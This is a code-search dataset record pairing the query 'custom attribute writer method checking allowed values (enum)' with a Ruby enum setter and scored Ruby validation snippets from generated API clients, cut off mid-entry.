69beaa3e957d1fc356539d0314d703e1
|
Custom attribute writer method checking allowed values (enum).
|
[
{
"docid": "de85c0aa94b41c9449f483d22890cc56",
"score": "0.0",
"text": "def backup_status=(backup_status)\n validator = EnumAttributeValidator.new('String', [\"InitializingProtection\", \"Protected\", \"ExceedsInterval\"])\n unless validator.valid?(backup_status)\n fail ArgumentError, \"invalid value for \\\"backup_status\\\", must be one of #{validator.allowable_values}.\"\n end\n @backup_status = backup_status\n end",
"title": ""
}
] |
[
{
"docid": "8146b840a980695b919bbb80892fcc0c",
"score": "0.61607504",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"GPA_CREDIT_PENDING\", \"GPA_CREDIT_PENDING_REVERSAL\", \"GPA_CREDIT_REVERSAL\", \"GPA_CREDIT\", \"GPA_DEBIT\", \"GPA_DEBIT_PENDING_REVERSAL\", \"GPA_DEBIT_REVERSAL\", \"GPA_GRANT\", \"GPA_CREDIT_NETWORK_LOAD\", \"GPA_CREDIT_NETWORK_LOAD_CLEARING\", \"GPA_CREDIT_NETWORK_LOAD_REVERSAL\", \"GPA_DEBIT_NETWORK_LOAD\", \"GPA_DEBIT_NETWORK_LOAD_CLEARING\", \"GPA_DEBIT_NETWORK_LOAD_REVERSAL\", \"ORIGINAL_CREDIT_AUTH\", \"ORIGINAL_CREDIT_AUTH_CLEARING\", \"ORIGINAL_CREDIT_AUTH_REVERSAL\", \"ORIGINAL_CREDIT_AUTH_CAPTURE\", \"ORIGINAL_CREDIT_AUTH_CAPTURE_REVERSAL\", \"GPA_CREDIT_ISSUER_OPERATOR\", \"GPA_DEBIT_ISSUER_OPERATOR\", \"GPA_DEBIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION_REVERSAL\", \"GPA_CREDIT_CHARGEBACK\", \"GPA_CREDIT_CHARGEBACK_REVERSAL\", \"GPA_CREDIT_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT_REVERSAL\", \"MSA_CREDIT_PENDING\", \"MSA_CREDIT_PENDING_REVERSAL\", \"MSA_CREDIT_REVERSAL\", \"MSA_CREDIT\", \"MSA_DEBIT_REVERSAL\", \"MSA_DEBIT_PENDING_REVERSAL\", \"MSA_DEBIT\", \"MSA_CREDIT_AUTHORIZATION\", \"MSA_CREDIT_AUTHORIZATION_REVERSAL\", \"MSA_CREDIT_CHARGEBACK\", \"MSA_CREDIT_CHARGEBACK_REVERSAL\", \"AUTHORIZATION\", \"AUTHORIZATION_INCREMENTAL\", \"AUTHORIZATION_ADVICE\", \"AUTHORIZATION_REVERSAL\", \"AUTHORIZATION_CASHBACK\", \"AUTHORIZATION_QUASI_CASH\", \"AUTHORIZATION_ATM_WITHDRAWAL\", \"AUTHORIZATION_CLEARING\", \"AUTHORIZATION_CLEARING_NETWORK_FEE\", \"AUTHORIZATION_CLEARING_REPRESENTMENT\", \"AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"DISPUTE_CREDIT\", \"DISPUTE_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK\", \"AUTHORIZATION_CLEARING_CHARGEBACK_REVERSAL\", \"AUTHORIZATION_CLEARING_CHARGEBACK_COMPLETED\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_CREDIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_WRITEOFF\", \"AUTHORIZATION_CLEARING_CASHBACK\", \"AUTHORIZATION_CLEARING_QUASI_CASH\", \"AUTHORIZATION_CLEARING_ATM_WITHDRAWAL\", \"ACCOUNT_FUNDING_AUTHORIZATION\", \"ACCOUNT_FUNDING_AUTHORIZATION_CLEARING\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE\", \"ACCOUNT_FUNDING_AUTHORIZATION_REVERSAL\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE_REVERSAL\", \"BALANCE_INQUIRY\", \"REFUND\", \"PIN_DEBIT_CREDIT_ADJUSTMENT\", \"PIN_DEBIT_DEBIT_ADJUSTMENT\", \"PIN_DEBIT_ATM_WITHDRAWAL\", \"PIN_DEBIT_QUASI_CASH\", \"PIN_DEBIT_BALANCE_INQUIRY\", \"PIN_DEBIT_CASHBACK\", \"PIN_DEBIT_CHECK_AVS\", \"PIN_DEBIT_FINANCIAL_DEPOSIT\", \"PIN_DEBIT_FINANCIAL_REFUND\", \"PIN_DEBIT_FINANCIAL_REVERSAL\", \"PIN_DEBIT_FINANCIAL_REFUND_REVERSAL\", \"PIN_DEBIT_TRANSFER\", \"PIN_DEBIT\", \"PIN_DEBIT_REPRESENTMENT\", \"PIN_DEBIT_AUTHORIZATION\", \"PIN_DEBIT_AUTHORIZATION_CLEARING\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"PIN_DEBIT_CHARGEBACK\", \"PIN_DEBIT_CHARGEBACK_REVERSAL\", \"PIN_DEBIT_CHARGEBACK_COMPLETED\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_CREDIT\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_DEBIT\", \"PIN_DEBIT_CHARGEBACK_WRITEOFF\", \"DIRECT_DEPOSIT_CREDIT\", \"DIRECT_DEPOSIT_DEBIT\", \"DIRECT_DEPOSIT_CREDIT_PENDING\", \"DIRECT_DEPOSIT_DEBIT_PENDING\", \"DIRECT_DEPOSIT_CREDIT_REJECT\", \"DIRECT_DEPOSIT_DEBIT_REJECT\", \"DIRECT_DEPOSIT_CREDIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_CREDIT_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_REVERSAL\", \"FEE_CHARGE_PENDING\", \"FEE_CHARGE\", \"FEE_CHARGE_REFUND\", \"FUNDS_EXPIRE\", \"PROGRAMRESERVE_CREDIT\", \"PROGRAMRESERVE_DEBIT\", \"REWARD_EARN\", \"TRANSFER_PEER\", \"TRANSFER_FEE\", \"ACCOUNT_CREDIT\", \"ACCOUNT_DEBIT\", \"TRANSFER_PROGRAM\", \"AUTHORIZATION_STANDIN\", \"PIN_DEBIT_STANDIN\", \"TOKEN_ACTIVATION_REQUEST\", \"TOKEN_ADVICE\", \"PTC_DEBIT\", \"PTC_PENDING_DB\", \"PTC_DB_REV\", \"BILLPAYMENT\", \"BILLPAYMENT_CLEARING\", \"BILLPAYMENT_REVERSAL\", \"RETURN_AUTHORIZATION\", \"RETURN_AUTHORIZATION_CLEARING\", \"RETURN_AUTHORIZATION_REVERSAL\", \"ACH_PUSH_PENDING\", \"ACH_PULL_PENDING\", \"ACH_PUSH\", \"ACH_PULL\", \"UNKNOWN\"])\n return false unless type_validator.valid?(@type)\n state_validator = EnumAttributeValidator.new('String', [\"PENDING\", \"CLEARED\", \"COMPLETION\", \"DECLINED\", \"ERROR\", \"ALL\"])\n return false unless state_validator.valid?(@state)\n true\n end",
"title": ""
},
{
"docid": "6b0b457cb8436385a5e9979b4ce7a15c",
"score": "0.6143718",
"text": "def enum(allowed_values)\n allowed_values = allowed_values.to_a if allowed_values.is_a? Set\n assert_array allowed_values, minimum: 1, unique: true\n set enum: allowed_values\n end",
"title": ""
},
{
"docid": "d9dcaa35507d9793fd3b833edd3f91e1",
"score": "0.6142054",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n return false unless type_validator.valid?(@type)\n subtype_validator = EnumAttributeValidator.new('String', ['None', 'Across', 'Bottom', 'BottomLeft', 'BottomRight', 'Center', 'Clockwise', 'CounterClockwise', 'GradualAndCycleClockwise', 'GradualAndCycleCounterClockwise', 'Down', 'DownLeft', 'DownRight', 'FontAllCaps', 'FontBold', 'FontItalic', 'FontShadow', 'FontStrikethrough', 'FontUnderline', 'Gradual', 'Horizontal', 'HorizontalIn', 'HorizontalOut', 'In', 'InBottom', 'InCenter', 'InSlightly', 'Instant', 'Left', 'OrdinalMask', 'Out', 'OutBottom', 'OutCenter', 'OutSlightly', 'Right', 'Slightly', 'Top', 'TopLeft', 'TopRight', 'Up', 'UpLeft', 'UpRight', 'Vertical', 'VerticalIn', 'VerticalOut', 'Wheel1', 'Wheel2', 'Wheel3', 'Wheel4', 'Wheel8'])\n return false unless subtype_validator.valid?(@subtype)\n preset_class_type_validator = EnumAttributeValidator.new('String', ['Entrance', 'Exit', 'Emphasis', 'Path', 'MediaCall', 'OLEActionVerbs'])\n return false unless preset_class_type_validator.valid?(@preset_class_type)\n return false if @shape_index.nil?\n trigger_type_validator = EnumAttributeValidator.new('String', ['AfterPrevious', 'OnClick', 'WithPrevious'])\n return false unless trigger_type_validator.valid?(@trigger_type)\n restart_validator = EnumAttributeValidator.new('String', ['Always', 'WhenNotActive', 'Never', 'NotDefined'])\n return false unless restart_validator.valid?(@restart)\n true\n end",
"title": ""
},
{
"docid": "50bdc5024eb33d5cc47a16805de2bcde",
"score": "0.6076601",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"GPA_CREDIT_PENDING\", \"GPA_CREDIT_PENDING_REVERSAL\", \"GPA_CREDIT_REVERSAL\", \"GPA_CREDIT\", \"GPA_DEBIT\", \"GPA_DEBIT_PENDING_REVERSAL\", \"GPA_DEBIT_REVERSAL\", \"GPA_GRANT\", \"GPA_CREDIT_NETWORK_LOAD\", \"GPA_CREDIT_NETWORK_LOAD_CLEARING\", \"GPA_CREDIT_NETWORK_LOAD_REVERSAL\", \"GPA_DEBIT_NETWORK_LOAD\", \"GPA_DEBIT_NETWORK_LOAD_CLEARING\", \"GPA_DEBIT_NETWORK_LOAD_REVERSAL\", \"ORIGINAL_CREDIT_AUTH\", \"ORIGINAL_CREDIT_AUTH_CLEARING\", \"ORIGINAL_CREDIT_AUTH_REVERSAL\", \"ORIGINAL_CREDIT_AUTH_CAPTURE\", \"ORIGINAL_CREDIT_AUTH_CAPTURE_REVERSAL\", \"GPA_CREDIT_ISSUER_OPERATOR\", \"GPA_DEBIT_ISSUER_OPERATOR\", \"GPA_DEBIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION_REVERSAL\", \"GPA_CREDIT_CHARGEBACK\", \"GPA_CREDIT_CHARGEBACK_REVERSAL\", \"GPA_CREDIT_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT_REVERSAL\", \"MSA_CREDIT_PENDING\", \"MSA_CREDIT_PENDING_REVERSAL\", \"MSA_CREDIT_REVERSAL\", \"MSA_CREDIT\", \"MSA_DEBIT_REVERSAL\", \"MSA_DEBIT_PENDING_REVERSAL\", \"MSA_DEBIT\", \"MSA_CREDIT_AUTHORIZATION\", \"MSA_CREDIT_AUTHORIZATION_REVERSAL\", \"MSA_CREDIT_CHARGEBACK\", \"MSA_CREDIT_CHARGEBACK_REVERSAL\", \"AUTHORIZATION\", \"AUTHORIZATION_INCREMENTAL\", \"AUTHORIZATION_ADVICE\", \"AUTHORIZATION_REVERSAL\", \"AUTHORIZATION_CASHBACK\", \"AUTHORIZATION_QUASI_CASH\", \"AUTHORIZATION_ATM_WITHDRAWAL\", \"AUTHORIZATION_CLEARING\", \"AUTHORIZATION_CLEARING_NETWORK_FEE\", \"AUTHORIZATION_CLEARING_REPRESENTMENT\", \"AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"DISPUTE_CREDIT\", \"DISPUTE_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK\", \"AUTHORIZATION_CLEARING_CHARGEBACK_REVERSAL\", \"AUTHORIZATION_CLEARING_CHARGEBACK_COMPLETED\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_CREDIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_WRITEOFF\", \"AUTHORIZATION_CLEARING_CASHBACK\", \"AUTHORIZATION_CLEARING_QUASI_CASH\", \"AUTHORIZATION_CLEARING_ATM_WITHDRAWAL\", \"ACCOUNT_FUNDING_AUTHORIZATION\", \"ACCOUNT_FUNDING_AUTHORIZATION_CLEARING\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE\", \"ACCOUNT_FUNDING_AUTHORIZATION_REVERSAL\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE_REVERSAL\", \"BALANCE_INQUIRY\", \"REFUND\", \"PIN_DEBIT_CREDIT_ADJUSTMENT\", \"PIN_DEBIT_DEBIT_ADJUSTMENT\", \"PIN_DEBIT_ATM_WITHDRAWAL\", \"PIN_DEBIT_QUASI_CASH\", \"PIN_DEBIT_BALANCE_INQUIRY\", \"PIN_DEBIT_CASHBACK\", \"PIN_DEBIT_CHECK_AVS\", \"PIN_DEBIT_FINANCIAL_DEPOSIT\", \"PIN_DEBIT_FINANCIAL_REFUND\", \"PIN_DEBIT_FINANCIAL_REVERSAL\", \"PIN_DEBIT_FINANCIAL_REFUND_REVERSAL\", \"PIN_DEBIT_TRANSFER\", \"PIN_DEBIT\", \"PIN_DEBIT_REPRESENTMENT\", \"PIN_DEBIT_AUTHORIZATION\", \"PIN_DEBIT_AUTHORIZATION_CLEARING\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"PIN_DEBIT_CHARGEBACK\", \"PIN_DEBIT_CHARGEBACK_REVERSAL\", \"PIN_DEBIT_CHARGEBACK_COMPLETED\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_CREDIT\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_DEBIT\", \"PIN_DEBIT_CHARGEBACK_WRITEOFF\", \"DIRECT_DEPOSIT_CREDIT\", \"DIRECT_DEPOSIT_DEBIT\", \"DIRECT_DEPOSIT_CREDIT_PENDING\", \"DIRECT_DEPOSIT_DEBIT_PENDING\", \"DIRECT_DEPOSIT_CREDIT_REJECT\", \"DIRECT_DEPOSIT_DEBIT_REJECT\", \"DIRECT_DEPOSIT_CREDIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_CREDIT_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_REVERSAL\", \"FEE_CHARGE_PENDING\", \"FEE_CHARGE\", \"FEE_CHARGE_REFUND\", \"FUNDS_EXPIRE\", \"PROGRAMRESERVE_CREDIT\", \"PROGRAMRESERVE_DEBIT\", \"REWARD_EARN\", \"TRANSFER_PEER\", \"TRANSFER_FEE\", \"ACCOUNT_CREDIT\", \"ACCOUNT_DEBIT\", \"TRANSFER_PROGRAM\", \"AUTHORIZATION_STANDIN\", \"PIN_DEBIT_STANDIN\", \"TOKEN_ACTIVATION_REQUEST\", \"TOKEN_ADVICE\", \"PTC_DEBIT\", \"PTC_PENDING_DB\", \"PTC_DB_REV\", \"BILLPAYMENT\", \"BILLPAYMENT_CLEARING\", \"BILLPAYMENT_REVERSAL\", \"RETURN_AUTHORIZATION\", \"RETURN_AUTHORIZATION_CLEARING\", \"RETURN_AUTHORIZATION_REVERSAL\", \"ACH_PUSH_PENDING\", \"ACH_PULL_PENDING\", \"ACH_PUSH\", \"ACH_PULL\", \"UNKNOWN\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"title": ""
},
{
"docid": "07d1438832b26069a882c2a09375301c",
"score": "0.60396093",
"text": "def render_enums\n # get likely enum attributes\n enums = model_attributes.select{ |attr| field_is_enum?(attr) }\n\n # for each enum, create a constant, an enum field, and validation\n enums.map{ |attr|\n <<-code\n #{attr.name.pluralize.upcase} = { active: 'Active', inactive: 'Inactive' }\n enum #{attr.name}: #{attr.name.pluralize.upcase}.keys\n validates :#{attr.name}, presence: true\n\n code\n }.join\n end",
"title": ""
},
{
"docid": "bdba344ee3068b68a1dd124382ad1a28",
"score": "0.60129493",
"text": "def attrib_bits_valid=(value); end",
"title": ""
},
{
"docid": "30c46b971aa93fa1f09b3b39a63b38a1",
"score": "0.6004926",
"text": "def convert_to_enumeration?(attribute)\n !@only_attributes.include?(attribute)\n end",
"title": ""
},
{
"docid": "450ccd97c49a359ffcded93bd336a796",
"score": "0.59999436",
"text": "def convert_to_enumeration?(attribute)\n !@only_attributes.include?(attribute)\n end",
"title": ""
},
{
"docid": "dacfc418c94e13c05e3d69169aedd306",
"score": "0.59380317",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"gpa.credit\", \"gpa.credit.pending\", \"gpa.credit.pending.reversal\", \"gpa.credit.reversal\", \"gpa.credit.networkload\", \"gpa.credit.networkload.reversal\", \"gpa.debit.networkload\", \"gpa.debit\", \"gpa.debit.pending\", \"gpa.debit.pending.reversal\", \"gpa.grant\", \"gpa.credit.issueroperator\", \"gpa.debit.issueroperator\", \"gpa.credit.chargeback\", \"gpa.credit.chargeback.reversal\", \"gpa.credit.billpayment\", \"gpa.credit.authorization.billpayment\", \"gpa.credit.authorization.billpayment.reversal\", \"msa.credit.pending\", \"msa.credit.pending.reversal\", \"msa.credit.reversal\", \"msa.credit\", \"msa.debit.pending\", \"msa.debit.pending.reversal\", \"msa.debit\", \"msa.credit.chargeback\", \"msa.credit.chargeback.reversal\", \"authorization\", \"authorization.advice\", \"authorization.reversal\", \"authorization.clearing\", \"authorization.reversal.issuerexpiration\", \"dispute.credit\", \"dispute.debit\", \"authorization.clearing.chargeback\", \"authorization.clearing.chargeback.reversal\", \"refund\", \"pindebit.atm.withdrawal\", \"pindebit.balanceinquiry\", \"pindebit.cashback\", \"pindebit\", \"programreserve.credit\", \"programreserve.debit\", \"fee.charge.pending\", \"fee.charge\", \"fee.charge.pending.refund\", \"funds.expire\", \"reward.earn\", \"transfer.peer\", \"transfer.fee\", \"account.credit\", \"account.debit\", \"balanceinquiry\", \"authorization.atm.withdrawal\", \"authorization.clearing.atm.withdrawal\", \"authorization.cashback\", \"authorization.clearing.cashback\", \"transfer.program\", \"authorization.quasi.cash\", \"authorization.clearing.quasi.cash\", \"authorization.incremental\", \"gpa.credit.authorization\", \"gpa.credit.authorization.reversal\", \"gpa.debit.reversal\", \"original.credit.authorization\", \"original.credit.authorization.reversal\", \"original.credit.authorization.clearing\", \"original.credit.auth_plus_capture\", \"original.credit.auth_plus_capture.reversal\", \"refund.authorization\", \"refund.authorization.advice\", \"refund.authorization.clearing\", \"refund.authorization.reversal\", \"token.activation-request\", \"token.advice\", \"pindebit.authorization\", \"pindebit.authorization.clearing\", \"pindebit.authorization.reversal\", \"pindebit.authorization.reversal.issuerexpiration\", \"authorization.standin\", \"authorization.clearing.chargeback.completed\", \"authorization.clearing.chargeback.provisional.credit\", \"authorization.clearing.chargeback.provisional.debit\", \"authorization.clearing.chargeback.writeoff\", \"directdeposit.credit\", \"directdeposit.credit.pending\", \"directdeposit.credit.reject\", \"directdeposit.credit.pending.reversal\", \"directdeposit.credit.reversal\", \"directdeposit.debit\", \"directdeposit.debit.pending\", \"directdeposit.debit.reject\", \"directdeposit.debit.reversal\", \"directdeposit.debit.pending.reversal\", \"fee.charge.reversal\", \"pindebit.chargeback\", \"pindebit.chargeback.completed\", \"pindebit.chargeback.provisional.credit\", \"pindebit.chargeback.provisional.debit\", \"pindebit.chargeback.reversal\", \"pindebit.chargeback.writeoff\", \"pindebit.credit.adjustment\", \"pindebit.quasicash\", \"pindebit.refund\", \"pindebit.refund.reversal\", \"pindebit.reversal\", \"pindebit.transfer\", \"pushtocard.debit\", \"pushtocard.reversal\", \"unknown\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"title": ""
},
{
"docid": "75d6e889813df1b5e0b4c2647f24c0a2",
"score": "0.5852731",
"text": "def check_enum(key, val, validation)\n return false if !validation[:required] && val.nil? # Optional and not here, dont check\n return false unless validation[:values]\n return false if validation[:values].include?(val)\n\n val = 'nothing' if val.nil?\n error! key, \"must be one of #{validation[:values].join(', ')}, but was #{val}\"\n true\n end",
"title": ""
},
{
"docid": "6d289fb843de67072e3ccd10998f1799",
"score": "0.58035886",
"text": "def valid?\n return false if !super\n style_validator = EnumAttributeValidator.new('String', ['None', 'MediumStyle2Accent1', 'MediumStyle2', 'NoStyleNoGrid', 'ThemedStyle1Accent1', 'ThemedStyle1Accent2', 'ThemedStyle1Accent3', 'ThemedStyle1Accent4', 'ThemedStyle1Accent5', 'ThemedStyle1Accent6', 'NoStyleTableGrid', 'ThemedStyle2Accent1', 'ThemedStyle2Accent2', 'ThemedStyle2Accent3', 'ThemedStyle2Accent4', 'ThemedStyle2Accent5', 'ThemedStyle2Accent6', 'LightStyle1', 'LightStyle1Accent1', 'LightStyle1Accent2', 'LightStyle1Accent3', 'LightStyle1Accent4', 'LightStyle2Accent5', 'LightStyle1Accent6', 'LightStyle2', 'LightStyle2Accent1', 'LightStyle2Accent2', 'LightStyle2Accent3', 'MediumStyle2Accent3', 'MediumStyle2Accent4', 'MediumStyle2Accent5', 'LightStyle2Accent6', 'LightStyle2Accent4', 'LightStyle3', 'LightStyle3Accent1', 'MediumStyle2Accent2', 'LightStyle3Accent2', 'LightStyle3Accent3', 'LightStyle3Accent4', 'LightStyle3Accent5', 'LightStyle3Accent6', 'MediumStyle1', 'MediumStyle1Accent1', 'MediumStyle1Accent2', 'MediumStyle1Accent3', 'MediumStyle1Accent4', 'MediumStyle1Accent5', 'MediumStyle1Accent6', 'MediumStyle2Accent6', 'MediumStyle3', 'MediumStyle3Accent1', 'MediumStyle3Accent2', 'MediumStyle3Accent3', 'MediumStyle3Accent4', 'MediumStyle3Accent5', 'MediumStyle3Accent6', 'MediumStyle4', 'MediumStyle4Accent1', 'MediumStyle4Accent2', 'MediumStyle4Accent3', 'MediumStyle4Accent4', 'MediumStyle4Accent5', 'MediumStyle4Accent6', 'DarkStyle1', 'DarkStyle1Accent1', 'DarkStyle1Accent2', 'DarkStyle1Accent3', 'DarkStyle1Accent4', 'DarkStyle1Accent5', 'DarkStyle1Accent6', 'DarkStyle2', 'DarkStyle2Accent1Accent2', 'DarkStyle2Accent3Accent4', 'DarkStyle2Accent5Accent6', 'LightStyle1Accent5', 'Custom'])\n return false unless style_validator.valid?(@style)\n true\n end",
"title": ""
},
{
"docid": "68017d41b549e3ed8f9626d46579ace9",
"score": "0.57848936",
"text": "def validate_enum(option, enum)\n values = options[option]\n values.all? { |a| enum.include?(a) } || raise(ArgumentError, \"The --#{option} argument must consist of one or more space separated values from #{enum}. Got: #{values}\")\n end",
"title": ""
},
{
"docid": "d80ba89cf3b6bd399ca742031726f20a",
"score": "0.57567745",
"text": "def valid?\n legal_form_validator = EnumAttributeValidator.new('String', ['1000', '1100', '1200', '1300', '1400', '1500', '1600', '1700', '1800', '1900', '2110', '2120', '2210', '2220', '2310', '2320', '2385', '2400', '2700', '2900', '3110', '3120', '3205', '3210', '3220', '3290', '4110', '4120', '4130', '4140', '4150', '4160', '5191', '5192', '5193', '5194', '5195', '5196', '5202', '5203', '5306', '5307', '5308', '5309', '5385', '5410', '5415', '5422', '5426', '5430', '5431', '5432', '5442', '5443', '5451', '5453', '5454', '5455', '5458', '5459', '5460', '5485', '5498', '5499', '5505', '5510', '5515', '5520', '5522', '5525', '5530', '5531', '5532', '5542', '5543', '5546', '5547', '5548', '5551', '5552', '5553', '5554', '5555', '5558', '5559', '5560', '5585', '5599', '5605', '5610', '5615', '5620', '5622', '5625', '5630', '5631', '5632', '5642', '5643', '5646', '5647', '5648', '5651', '5652', '5653', '5654', '5655', '5658', '5659', '5660', '5685', '5699', '5710', '5720', '5785', '5800', '6100', '6210', '6220', '6316', '6317', '6318', '6411', '6521', '6532', '6533', '6534', '6535', '6536', '6537', '6538', '6539', '6540', '6541', '6542', '6543', '6544', '6551', '6554', '6558', '6560', '6561', '6562', '6563', '6564', '6565', '6566', '6567', '6568', '6569', '6571', '6572', '6573', '6574', '6575', '6576', '6577', '6578', '6585', '6588', '6589', '6595', '6596', '6597', '6598', '6599', '6901', '7111', '7112', '7113', '7120', '7150', '7160', '7171', '7172', '7179', '7190', '7210', '7220', '7225', '7229', '7230', '7312', '7313', '7314', '7321', '7322', '7323', '7331', '7340', '7341', '7342', '7343', '7344', '7345', '7346', '7347', '7348', '7349', '7351', '7352', '7353', '7354', '7355', '7356', '7361', '7362', '7363', '7364', '7365', '7366', '7371', '7372', '7373', '7378', '7379', '7381', '7382', '7383', '7384', '7385', '7389', '7410', '7430', '7450', '7470', '7490', '8110', '8120', '8130', '8140', '8150', '8160', '8170', '8190', '8210', '8250', '8290', '8310', '8311', '8410', '8420', '8450', '8470', '8490', '8510', '8520', '9110', '9150', '9210', '9220', '9221', '9222', '9223', '9224', '9230', '9240', '9260', '9300', '9900', '9970'])\n return false unless legal_form_validator.valid?(@legal_form)\n legal_annual_turn_over_validator = EnumAttributeValidator.new('String', ['', '0-39', '40-99', '100-249', '250-999', '1000-2999', '3000-9999', '10000-99999', '100000-*'])\n return false unless legal_annual_turn_over_validator.valid?(@legal_annual_turn_over)\n legal_net_income_range_validator = EnumAttributeValidator.new('String', ['', '0-4', '5-9', '10-49', '50-149', '150-499', '500-*'])\n return false unless legal_net_income_range_validator.valid?(@legal_net_income_range)\n legal_number_of_employee_range_validator = EnumAttributeValidator.new('String', ['', '0', '1-9', '10-99', '100-249', '250-*'])\n return false unless legal_number_of_employee_range_validator.valid?(@legal_number_of_employee_range)\n status_validator = EnumAttributeValidator.new('String', ['D', 'N', 'I', 'A', 'C', 'T', 'S', 'L', 'O'])\n return false unless status_validator.valid?(@status)\n true\n end",
"title": ""
},
{
"docid": "71e396ecd3fe724dfdc8a3e319ab3533",
"score": "0.5738603",
"text": "def validate_enum(enum_class, item)\n case item\n when String, Symbol, Integer\n enum_class[item].present?\n when Hash\n name = item[:name]\n if (e = enum_class[name]).present?\n item.all?{ |attribute, value|\n e.send(attribute) == value\n }\n else\n false\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "6631a2651ae0f1379b4c6086d7c060e9",
"score": "0.57383287",
